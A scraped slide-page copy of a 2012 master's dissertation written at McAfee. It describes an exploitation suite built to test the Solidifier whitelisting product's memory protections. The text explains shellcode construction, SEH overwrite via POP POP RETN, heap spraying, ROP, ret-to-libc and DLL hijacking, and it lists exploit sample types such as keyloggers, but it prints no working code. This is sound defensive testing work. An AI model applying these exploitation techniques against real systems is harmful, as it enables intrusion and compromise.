Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...
Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...
informapgpstrackings
 
AI Pilot Review: The World’s First Virtual Assistant Marketing Suite
AI Pilot Review: The World’s First Virtual Assistant Marketing SuiteAI Pilot Review: The World’s First Virtual Assistant Marketing Suite
AI Pilot Review: The World’s First Virtual Assistant Marketing Suite
Google
 
Using IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New ZealandUsing IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New Zealand
IES VE
 
top nidhi software solution freedownload
top nidhi software solution freedownloadtop nidhi software solution freedownload
top nidhi software solution freedownload
vrstrong314
 
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Shahin Sheidaei
 
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Globus
 
May Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdfMay Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdf
Adele Miller
 
Enhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdfEnhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdf
Globus
 
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume MontevideoVitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
Matt Welsh
 

Recently uploaded (20)

Quarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden ExtensionsQuarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden Extensions
 
Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024
 
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
 
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptxTop Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
 
First Steps with Globus Compute Multi-User Endpoints
First Steps with Globus Compute Multi-User EndpointsFirst Steps with Globus Compute Multi-User Endpoints
First Steps with Globus Compute Multi-User Endpoints
 
Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604
 
RISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent EnterpriseRISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent Enterprise
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
 
Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"
 
Understanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSageUnderstanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSage
 
Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...
Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...
Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...
 
AI Pilot Review: The World’s First Virtual Assistant Marketing Suite
AI Pilot Review: The World’s First Virtual Assistant Marketing SuiteAI Pilot Review: The World’s First Virtual Assistant Marketing Suite
AI Pilot Review: The World’s First Virtual Assistant Marketing Suite
 
Using IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New ZealandUsing IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New Zealand
 
top nidhi software solution freedownload
top nidhi software solution freedownloadtop nidhi software solution freedownload
top nidhi software solution freedownload
 
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
 
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
 
May Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdfMay Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdf
 
Enhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdfEnhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdf
 
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume MontevideoVitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume Montevideo
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
 

smpef

  • 1. SOLIDCORE MEMORY PROTECTION EXPLOITATION SUITE BITS ZG629T: Dissertation By RAKESH SHARMA (ID NO: 2010HZ12683) Dissertation work carried out at McAfee Software India Pvt. Ltd., Gurgaon BIRLA INSTITUTE OF TECHNOLOGY & SCIENCE PILANI (RAJASTHAN) MARCH, 2012
  • 2. SOLIDCORE MEMORY PROTECTION EXPLOITATION SUITE BITS ZG629T: Dissertation (MS – SOFTWARE SYSTEMS) By RAKESH SHARMA (ID NO: 2010HZ12683) Dissertation work carried out at McAfee Software India Pvt. Ltd., Gurgaon Submitted in partial fulfillment of M.S. Software Systems degree programme Under the Supervision of Abhishek Tuteja (Program Manager) McAfee Software India Pvt. Ltd., Gurgaon BIRLA INSTITUTE OF TECHNOLOGY & SCIENCE PILANI (RAJASTHAN) MARCH, 2012
  • 3.
  • 4. ACRONYMS AND ABBREVIATIONS SMPES Solidcore Memory Protection exploitation suite DEP Data Execution Protection NX No Execute ASLR Address Space Layout Randomization ROP Return Oriented Programming MAC Memory and Application Control EMET Enhanced Mitigation Experience toolkit SEH Structured Exception Handler SEHOP Structured Exception Handler Overwite Protection
  • 5. 2 LIST OF FIGURES S No. Figure Name Page No. 1 Categories of malware 5 2 DLL hijacking exploitation using Metasploit framework 6 3 Anatomy of DBD attack 7 4 An exploit kit for serving DBD 7 5 Shell code skeleton 8 6 Export tables for APIs 9 7 Dialog to enable or disable Data Execution Protection 10 8 Exception Handler 11 9 Enhanced Mitigation Experience Toolkit 15 10 Design chart for SMPES 18 11 Command Line interface of SMPES 22 12 List of exploits 22
  • 6. 3 TABLE OF CONTENTS 1. Introduction…………………………………………………………………………………………….......1 1.1 Background …………………………………………………………………………………………….2 1.2 Motivation………………………………………………………………………………………………..2 1.3 Objectives…………….………………………………………………………………………………….3 1.4 Memory protection...……………………………………………………………………………….3 2. Specific Attack vectors.………………………..……………………………………….………………5 2.1 Malware……………..………………………………………......................................5 2.2 DLL Hijacking...………………………………………………………………………………………..6 2.2 Drive by downloads…….………………………..………………………………………………..7 3. Research………………………………………………………….…………………………………….………8 3.1 Shellcode writing ………………………………………………………………………..………...8 3.2 Security Concepts ………………………………………….………………………………..……9 3.2.1 DEP………………………..……………………………………………………………………..10 3.2.2 SEH/Safe SHE………………………………………………………………………........11 3.2.3 SEHOP………………………..…………………………….…………………………………..12 3.2.4 ASLR…………………………..…………………………….……………………………………12 3.2.5 Heap Sprays…………………………………………….……………………………………13 3.2.6 ROP exploits……………….…………………………….…………………………………..14 3.2.8 ret-to-libc…………………………………………..…….…………………………………..14 3.2.9 EMET…………………………..…………………………….…………………………………..14 3.3 Exploit sample creation……………………………………………………………………………15 4. SMPES Development……………………………………………………………………………………….17 4.1 Requirements………………………….……………………………………………………………….17 4.2 Design……….…………………………………………………………………………………………….18 4.3 Development cycle…………………………………………………………………………………..20 5. Execution, Results and Analysis…………………………………………........................21 5.1 Test-bed Setup………………………………………………………………………................21 5.2 Execution…………………………………….………………………………………….………………..22 6. Conclusion………………………………………………………………………………………………………..25 Appendix A: Exploit codes & SMPES script…………………………………………………….26 7. REFERENCES…………………………………………………………………………………….……………..35
  • 7. 1 1. INTRODUCTION Every day, organizations of all size grapple with constant attack of malware. The numbers of threats continue to rise. Unfortunately the traditional defense mechanisms like Anti- Viruses, firewalls, intrusion protection devices etc. fail to prevent many attacks. One way to test the efficacy of these security products is to use penetration testing tools. Penetration testing (also called pen testing) is the practice of testing a computer system, network or Web application to find vulnerabilities that an attacker could exploit. Pen tests can be automated with software applications or they can be performed manually. Either way, the process includes gathering information about the target before the test (reconnaissance), identifying possible entry points, attempting to break in (either virtually or for real) and reporting back the findings. Pen test strategies include: Targeted testing: Targeted testing is performed by the organization's IT team and the penetration testing team working together. It's sometimes referred to as a "lights-turned- on" approach because everyone can see the test being carried out. External testing: This type of pen test targets a company's externally visible servers or devices including domain name servers (DNS), e-mail servers, Web servers or firewalls. The objective is to find out if an outside attacker can get in and how far they can get in once they've gained access. Internal testing: This test mimics an inside attack behind the firewall by an authorized user with standard access privileges. This kind of test is useful for estimating how much damage a disgruntled employee could cause. Blind testing: A blind test strategy simulates the actions and procedures of a real attacker by severely limiting the information given to the person or team that's performing the test beforehand. Typically, they may only be given the name of the company. Because this type of test can require a considerable amount of time for reconnaissance, it can be expensive. Security issues uncovered through the penetration test are presented to the system's owner. Effective penetration tests will couple this information with an accurate assessment of the potential impacts to the organization and outline a range of technical and procedural countermeasures to reduce risks. Penetration testing can be an invaluable technique to any organization's information security program. These days penetrations testing toolkits of several kinds are readily available on internet like BackTrack, MetaSploit, Knoppix etc. Even beginners in the field of information security can launch sophisticated attacks on remote machines through these easy to use toolkits. Hackers are continuously trying to evade security solutions installed on user’s machines by finding out vulnerabilities and exploiting them. It is therefore very important for an organization to incorporate a security program which involves simulating attack on its products to find issues at an early stage and preventing compromise of computer & data. The ultimate buzzword for this approach is “Attack your software before anyone else does”
  • 8. 2 Solidcore Memory Exploitation Suite (SMPES) is another penetration testing framework designed specially to attack a white listing security solution called “Solidifier” but extends to be used against other categories of security products like Anti-Viruses, Firewalls, Endpoint security devices etc. This will cater to the security test strategy of the company and can be used to uncover vulnerabilities in the products before shipment to market. 1.1 BACKGROUND These days threat modeling, exploitation and security review of a product has become an important part of its Software Development Life cycle. The beta phase of product development includes external product review and researchers try to break software’s functionality by crafting exploits which can compromise it through any vulnerability inside it and run arbitrary code execution using the same. McAfee has acquired a company called Solidcore Systems whose white listing technology combats viruses, worms and other malware by allowing only approved, preauthorized software to run on servers, mobile, devices and other computer systems. It develops a product called as “Solidifier” which comprises of features like Memory & Application control, Integrity control and change control. The feature, “Application Control” locks down a system by creating an application inventory, thereby preventing execution of unauthorized applications. If somehow the malware gets added to trusted application list or white list, its execution is prevented at run-time by Memory Protection features available in Solidifier. Since a long time, there was no security strategy in action to test “Solidifier” product from an application security point of view. Some external pen testing frameworks like Metasploit were used but it could not cover every security issue, has to be upgraded to get latest exploits and was a generic pen test tool. Therefore there was a strong felt need of a dedicated pen testing framework for targeted testing to uncover security issues within the product. SMPES is the result of a volunteered initiative and an effort to bridge the security testing gap in the team. The dissertation project was carried out at McAfee India, Gurgaon campus and draws on the contemporary research going on in vulnerability assessment and exploitation domain across the world. 1.2 MOTIVATION The zeal to do exploitation and vulnerability research was the main motivation behind this project. The tool if developed will be highly beneficial for the Development and QA teams and will uncover many security aspects which were not touched in normal product certification cycles. Its function is not to supplement just another pen test toolkit but to add value to security test coverage and provide targeted testing platform focusing on lags and limitations which could be exploited by hackers. The research work was driven by strong experience in information security industry and hands on experimentation on vulnerability assessment. It also tries to engage the fuzzing concepts apart from the traditional approach to do pen- testing. There was also need to improve exploit test samples to analyze code coverage.
  • 9. 3 1.3 OBJECTIVES This dissertation work primarily concentrates on design and development of exploitation suite to exercise memory protection features like CASP (Critical Address Space Protection), VASR (Virtual address space randomization), CCV (Call context verification) and NX (No-Execute) in Solidifier. A substantial amount of research was anticipated to create exploit samples that will invoke memory protection techniques. This involves buffer overflows, heap overflows, integer overflows, ROP exploits, exploits using default base address of binaries to execute malicious code and injection based attacks. Various exploits from penetration testing frameworks such as MetaSploit and Core Impact, can also be used in this suite for remote attacks. The dissertation focuses on gathering requirements, research on various attacks and development of suite with modular approach. It also has the capability to execute and capture application events and create a report on exploitation. The research work and suite development will uncover vulnerabilities, if any, in the Solidifier product, which will be reported as bugs. The suite will be distributed within the organization only and will be part of product release cycles. 1.4 MEMORY PROTECTION Solidifier is McAfee’s white listing security solution that locks down a machine by creating an inventory of applications which are authorized thereby preventing the execution of any unauthorized binary. The Solidifier employs solidification for enforcing the following types of control over program code in execution, or resident on the disk: Once a system has been solidified and the Solidifier is enabled, the system is said to be in the Solidified Mode. In this mode, only programs contained in the inventory are allowed to execute. Any other programs are considered unauthorized and their execution is prevented, and their failure to execute is logged. Memory Control (on Windows platform only) protects running processes from malicious attempts to hijack them. Unauthorized code injected into a running process is trapped, halted and logged. In this fashion, attempts to gain control of a system through buffer overflow and similar exploits are rendered ineffective, and logged. Tamper-proofing prevents intentional and unintentional changes to files that are in the inventory by users or programs. Following are some memory control protection techniques in Solidifier- Application Control solution. (a) MP-NX (No-Execute) DEP is a CPU flag set to indicate that the NX is ON (non-executable). Any attacker supplied code in either the heap or stack memory will not be executed and cause an access violation. For an attacker to bypass DEP they must execute a ret2libc type exploit where the attacker uses system API’s to mark memory pages as executable or move the Type of control Effect Execution control Only authorized code can run Memory control Vulnerabilities in authorized code that is running cannot be exploited Tamper-proofing Prevent deletion, renaming, overwriting of authorized code
  • 10. 4 shell code to an executable region and jump on it. In a stack based exploit, this will require the attacker to use a technique called Return Oriented Programming (ROP). This will allow an attacker to continually return to the stack and execute the next instruction until the shell code is executed. (b) VASR (Virtual Address Space Randomization) This feature is based on Microsoft’s ASLR technique. Address space layout randomization (ASLR) is a computer security technique which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process's address space. ASLR randomly relocates the base address upon reboot, making it difficult for hacker to identify address where the program executes. It prevents ROP exploits, heap sprays, index overflows etc. (c) Forced ASLR (Mandatory ASLR) It is based on Microsoft’s EMET (Enhanced Mitigation Experience Toolkit). Windows ASLR excludes binaries not having the DYNAMIC_BASE or ASLR flag set and these binaries are not randomized upon reboot. In this feature, we compute preferred load address in memory, check relocation information in binary and allocate a page of memory at the DLLs preferred load address. This forces Windows to relocate the DLL to another randomly chosen address. Memory protection mechanisms are tested in following two modes of solidifier application control feature: (a) Enabled mode: The enable mode is the default mode of solidifier and it is enabled after taking an inventory of all the binaries installed in the system. It then locks down the system preventing execution of any other binary except in the white list. Any exploit attack which tries to run a binary which is not in the inventory is denied execution (b) Update mode The Update Mode allows a user to bracket all update actions including addition, removal or modification of software on the system. It provides a mechanism to automatically update the Solidifier Inventory and ensure that only those executables that are added or modified during the Update Mode are added to inventory.
  • 11. 5 2. SPECIFIC ATTACK VECTORS The following section is explains some of the more common malware attacks seen in today’s environments and to test application white listing against these attacks. (a) PDF PDF file format is widely used these days in creating documents with good typesetting and quality. A large number of vulnerabilities have been found in Adobe’s PDF format which can be used to trigger a malicious download or run arbitrary code. (b) MS Office documents Microsoft Office documents formats like Word, PowerPoint, Excel can also be used to send malware embedded in them by exploiting Office software’s vulnerabilities. (c) Binders “Binders are utilities that allow the user to bind one application to another, in essence creating a Trojan application. The idea is that the carrier application will entice the user to launch it; examples include games and other executables. When the victim launches the carrier application, he or she sees the application run, and nothing seems malicious. All the while, however, the Trojan application runs, often behind the scene, unbeknownst to the victim (d) Browsers Browser vulnerabilities can also be exploited using exploit packs like Eleonore, Blackhole, Fiesta etc. and trigger download and install of malicious code. 2.1 MALWARE Computer security threats or malicious code or Malwares comes in a wide variety of forms and is distributed through an ever growing number of delivery mechanisms. In general malicious program is any software that impedes the normal operation of a computer or networking device. This software most often executes without the user's consent. (Categories of malware)
  • 12. 6 2.2 DLL HIJACKING The root of this problem lies in the past in an industry far removed from internet security. Many years ago a Microsoft design error included the current working directory in the list of directories Windows will search when looking for a DLL. As a result, it was trivial to use a directory under your control to trick an application into loading the wrong copy of a DLL, which could be a security flaw in some circumstances. Applications load external code via DLLs (Dynamic Link Libraries). DLL High jacking is a process by which malicious code is injected into an application via a malicious DLL with the same name as a DLL used by the application. Most Windows applications will not use a fully qualified path to load any required DLLs. A bad guy can place a fake DLL for a known program in a location that is searched before the real DLL’s location and almost guarantee that the malicious DLL is loaded, resulting in whatever code the attacker wants to run running! When programs are not written to specify the exact location of a required DLL, Windows will search for the DLL by name in a specific order. For instance, let’s say that the application, infosec.exe requires a DLL named learn.dll that is usually in the Windows system directory. If the application does not specify the exact path for learn.dll, Windows will search for the dll in the directory from which the application has been loaded first. The following example uses Metasploit to create and host a PowerPoint file which is used to exploit the DLL hijacking vulnerability and gain a meterpreter shell on the victim machine. (DLL hijacking exploitation using Metasploit framework)
  • 13. 7 2.3 DRIVE BY DOWNLOADS Drive-by download attacks have become a very common method for mass exploitation. DBD attacks are downloads that occur without the knowledge or consent of a user. After downloading, the application is invoked and is free to perform its nefarious purposes. The mere visit to a malicious web site can lead to the download and subsequent execution of malicious software on a visitor’s computer . In order to make these attacks even more successful, attackers use sophisticated exploit packs to deliver the appropriate exploits based upon which browser and plug-ins are being used. (Anatomy of DBD attack) (An exploit kit for serving DBD)
  • 14. 8 3. RESEARCH To simulate customized attacks on Solidifier product, exploit samples have to be created or collected. Some samples can be collected from bug tracking websites such as bugtraq, security-focus, exploit-db.com etc. Exploit samples must be created to invoke the memory protection mechanisms in solidifier. To create these samples, a thorough understanding of writing shell codes is required. The basic security concepts should be understood. This doesn’t imply that a zero-day vulnerability must be found but writing a shell code to execute custom payload using an existing vulnerability. 3.1 SHELLCODE WRITING The secret behind any good exploit is the reliable shell code. The shell code is the most important element in your exploit. Working with the automated tools to generate a shell code will not help you too much in bypassing the obstacles that you will face with every exploit. Shell code is simply a portable native code. This code has the ability to run at any place in memory. And this code is used from inside an Exploit to connect back to the attacker or do what the attacker needs to do. (Shellcode Skeleton) Any shell code consists of 4 parts: Getting the delta: The first thing we should do in your shellcode is to know where we are in the memory (the delta). This is important because we will need to get the variables in our shellcode. We can’t get the variables in our shellcode without having the absolute address of them in the memory. Get the kernel32 image base: APIs are functions like send(), recv() and connect(). Each group of functions is written inside a library. These libraries are written into files with extension (.dll). Every library specializes in a type of function like: winsock.dll is for network APIs like send() or recv(). And user32.dll is for windows APIs like MessageBoxA() and CreateWindow(). And kernel32.dll is for the core windows APIs. It has APIs like LoadLibrary() which loads any other library. And GetProcAddress() which gets the address of any API inside a library loaded in the memory.
  • 15. 9 So, to reach any API, we must get the address of the kernel32.dll in the memory and have the ability to get any API inside it. While any application is being loaded in the memory, the Windows loads beside it the core libraries like kernel32.dll and ntdll.dll and saves the addresses of these libraries in a place in memory called Process Environment Block (PEB). So, we will retrieve the address of kernel32.dll from the PEB as shown in the next Listing: Getting APIs The Export Table consists of 3 arrays. The first array is AddressOfNames and it contains the names of all functions inside the DLL file. And the second array is AddressOfFunctions and it contains the addresses of all functions. (Export tables) But, the problem in these two arrays is that they are aligned with different alignment. For example, GetProcAddress is the No.3 in the AddressOfNames but it’s the No.5 in the AddressOfFunctions. To pass this problem, Windows creates a third array named AddressOfNameOrdinals. This array is aligned with same alignment of AddressOfNames and contains the index of every item in the AddressOfFunctions. So, to find our APIs, we should search for our API’s name in the AddressOfNames and then take the index of it and go to the AddressOfNameOrdinals to find the index of your API in the AddressOfFunctions and then, go to AddressOfFunctions to get the address of your API. Don’t forget that all the addresses in these arrays are RVA. This means that their addresses are relative to the address of the beginning of the PE file. So, we should add the kernel32 imagebase to every address we work with. Payload Payload is the program that we want to execute once the vulnerability has been exploited. This can be any command, binary or shell once the control is transferred to exploit execution.
  • 16. 10 3.2. SECURITY CONCEPTS As part of the project, following security concepts were read and understood in order to proceed with sample creation. 3.2.1. DEP (Data Execution Protection) Data Execution Prevention (DEP) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software. The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows. Data Execution Prevention (DEP) is a security feature that can help prevent damage to your computer from viruses and other security threats. Harmful programs can try to attack Windows by attempting to run (also known as execute) code from system memory locations reserved for Windows and other authorized programs. These types of attacks can harm your programs and files. DEP can help protect your computer by monitoring your programs to make sure that they use system memory safely. If DEP notices a program on your computer using memory incorrectly, it closes the program and notifies you. DEP can be turned on or off using system configuration setting, My Computer Properties > Advanced Tab > Performance options settings > Data Execution Prevention. (Dialog to enable or disable Data Execution Protection)
  • 17. 11 3.2.2. SEH/SafeSEH An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an exception. A typical exception handler looks like this: try { //run stuff. If an exception occurs, go to <catch> code } catch { // run stuff when exception occurs } Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you’ll see a “xxx has encountered a problem and needs to close” popup. This is often the result of the default handler kicking in. It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort. When using language EH’s, the necessary links and calls to the exception handling code are generate in accordance with the underlying OS. (and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used. (UnhandledExceptionFilter)). So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception (Exception Handler) The most popular technique to bypass this protection is using the POP, POP, RETN technique. Basically stack in the memory is a structured memory consists of 32 bit virtual file. The first POP command will take out the topmost value layer of the virtual file to the other register on the memory. And the second POP command will take out the second layer of the stack on the memory. Finally the third command, RETN will be the first layer on the stack, so the system will start the execution process from that location depends on the memory address pointed by the RETN command.
  • 18. 12 When the technique above is done smoothly, the control of the process in the CPU is in our hand and can be manipulated as we wish. The problem now is, Windows have one more protection to prevent the SEH to be manipulated by the POP, POP, RETN technique called "SafeSEH". In windows XP SP2 and Windows Server 2003, there is a new technology to protect the SEH to be bypassed called SafeSEH. Generally, SafeSEH is only a linker that can be used at the compilation process of a program/software in Windows system. When the SafeSEH is used, the application will generate a table that contains all memory address that will be used by itself and also save the addresses of the SEH on the modules used. This means, when an exploitation that utilize the POP POP RETN command happen, the address that used to bring the SEH to the POP POP RETN address wont work because the address is not recorded in the table generated by the SafeSEH and the exploitation will failed. In addition to the SafeSEH protection, windows xp also have another protection against the exploitation that can be integrated into its dll files. This feature called "IMAGE_DLLCHARACTERISTICS_NO_SEH". If a dll file use that feature, it will prevent the use of any address inside itself to be used as the command to bypass the SEH. An example is when the dll file have a POP POP RETN command inside. 3.2.3. SEHOP Windows Vista Service Pack 1, Windows 7, Windows Server 2008 and Windows Server 2008 R2 now include support for Structured Exception Handling Overwrite Protection (SEHOP). This feature is designed to block exploits that use the Structured Exception Handler (SEH) overwrites technique. This protection mechanism is provided at run-time. Therefore, it helps protect applications regardless of whether they have been compiled with the latest improvements, such as the /SAFESEH option. Certain types of vulnerabilities can allow an attacker to make use of an exploitation technique known as a Structured Exception Handler Overwrite (SEH overwrite). This technique involves corrupting a data structure that is used when handling exceptional conditions that may occur while a program is running. The act of corrupting this data structure can enable the attacker to execute code from anywhere in memory. This technique is mitigated by SEHOP, which checks to ensure that the integrity of the data structures used for handling exceptions is intact. This new invariant makes it possible to detect the corruption that occurs when an exploit uses the SEH overwrite technique and is ultimately what makes it possible to break exploits that make use of it. SEHOP is a relatively new mitigation technology and is expected to become a requirement in future versions of the SDL. 3.2.4. ASLR ASLR stands for Address Space Layout Randomization. ASLR moves executable images into random locations when a system boots, making it harder for exploit code to operate predictably. For a component to support ASLR, all components that it loads must also support ASLR. For example, if A.exe consumes B.dll and C.dll, all three must support ASLR. By default, Windows Vista and later will randomize system DLLs and EXEs, but DLLs and EXEs created by ISVs must opt in to support ASLR using the /DYNAMICBASE linker option. ASLR also randomizes heap and stack memory. Windows Vista Service Pack 1, Windows 7, Windows Server 2008 and Windows Server 2008 R2 now include support for Structured Exception Handling Overwrite Protection (SEHOP). This feature is designed to block exploits that use the Structured Exception Handler (SEH) overwrites technique. This
  • 19. 13 protection mechanism is provided at run-time. Therefore, it helps protect applications regardless of whether they have been compiled with the latest improvements, such as the /SAFESEH option. The goal of Address Space Layout Randomization is to introduce randomness into addresses used by a given task. This will make a class of exploit techniques fail with a quantifiable probability and also allow their detection since failed attempts will most likely crash the attacked task. 3.2.5. HEAP SPRAYS Heap spraying is a technique used in exploits to facilitate arbitrary code execution. The part of the source code of an exploit that implements this technique is called a heap spray. In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process' heap and fill the bytes in these blocks with the right values. Heap spraying is a payload delivery technique. It’s a technique that allows you to take advantage of the fact that the heap is deterministic and allows you to put your shellcode somewhere in the heap, at a predictable address. This would allow you to jump to it reliably. For a heap spray to work, you need to be able to allocate and fill chunks of memory in the heap before gaining control over EIP. “Need to be able” means that you must have the technical ability to have the target application allocate your data in memory, in a controlled fashion, before triggering memory corruption. A browser provides an easy mechanism to do this. It has scripting support, so you can use javascript or vbscript to allocate something in memory before triggering a bug. The concept of heap spraying is not limited to browsers however. You could, for example, also use Javascript or Actionscript in Adobe Reader to put your shellcode in the heap at a predictable address. Generalizing the concept : if you can allocate data in memory in a predictable location before triggering control over EIP, you might be able to use some sort of heap spray. Placing the various steps on a timeline, this is what needs to be done to make the technique work: Spray the heap Trigger the bug/vulnerability Control EIP and make EIP point directly into the heap The goal of Address Space Layout Randomization is to introduce randomness into addresses used by a given task. This will make a class of exploit techniques fail with a quantifiable probability and also allow their detection since failed attempts will most likely crash the attacked task.
  • 20. 14 3.2.6. ROP exploits ROP stands for Return oriented programming. Return-oriented programming is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry- picked machine instructions or groups of machine instructions immediately prior to the return instruction in subroutines within the existing program code, in a way similar to the execution of a threaded code interpreter. Because all the instructions that are executed are from executable memory areas within the original program, this avoids the need for direct code injection, and circumvents most measures that try to prevent the execution of instructions from user-controlled memory. 3.2.7. RET-TO-LIBC A return-to-libc attack is a computer security attack usually starting with a buffer overflow in which the return address on the call stack is replaced by the address of another instruction and an additional portion of the stack is overwritten to provide arguments to this function. This allows attackers to call preexisting functions without the need to inject malicious code into a program. The shared library called "libc" provides the C runtime on UNIX style systems. Although the attacker could make the code return anywhere, libc is the most likely target, as it is always linked to the program, and it provides useful calls for an attacker (such as the system() call to execute an arbitrary program, which needs only one argument). This is why the exploit is called "return-to-libc" even when the return address may point to a completely different location. 3.2.8. EMET The Enhanced Mitigation Experience Toolkit (EMET) is a utility that helps prevent vulnerabilities in software from being successfully exploited. EMET achieves this by using security mitigation technologies. These technologies function as special protections and obstacles that an exploit author must defeat to exploit software vulnerabilities. These security mitigation technologies do not guarantee that vulnerabilities cannot be exploited. However, they work to make exploitation as difficult to perform as possible. In many instances, a fully-functional exploit that can bypass EMET may never be developed. EMET provides users with the ability to deploy security mitigation technologies to arbitrary applications. This helps prevent vulnerabilities in those applications (especially line of business and 3rd party apps) from successfully being exploited. By deploying these mitigation technologies on legacy products, the tool can also help customers manage risk while they are in the process of transitioning over to modern, more secure products
  • 21. 15 (Enhanced Mitigation Experience Toolkit) 3.3. EXPLOIT SAMPLE CREATION After understanding the basic security concepts, exploit samples were created to invoke different memory protection mechanisms of solidifier product. Some exploit samples were created using Metasploit framework which uses publicly available exploit codes to generate files which can trigger exploitation of a vulnerability in an application. Some of the exploit codes or test sample codes are available in appendix section. EXPLOIT DEVELOPMENT PROCESS The exploit development cycle can be divided into following phases: 1. Control EIP 2. Determine the offset(s) 3. Determine the attack vector 4. Build the exploit sandwich 5. Test the exploit 6. Debug the exploit if needed
  • 22. 16 The various categories of samples that were created and collected are as follows: 1. DLL injection 2. Buffer overflows 3. Bypass DEP 4. ASLR bypass 5. SMB overflow 6. Heap Corruption 7. Adobe PDF exploits 8. CreateProcess, CreateRemoteThread samples 9. Binded applications 10. Keylogger 11. ROP exploits 12. Java Drive by download 13. Fake Anti-Virus 14. Browser exploit packs The exploits can be used in local or remote attacks depending upon the usage.
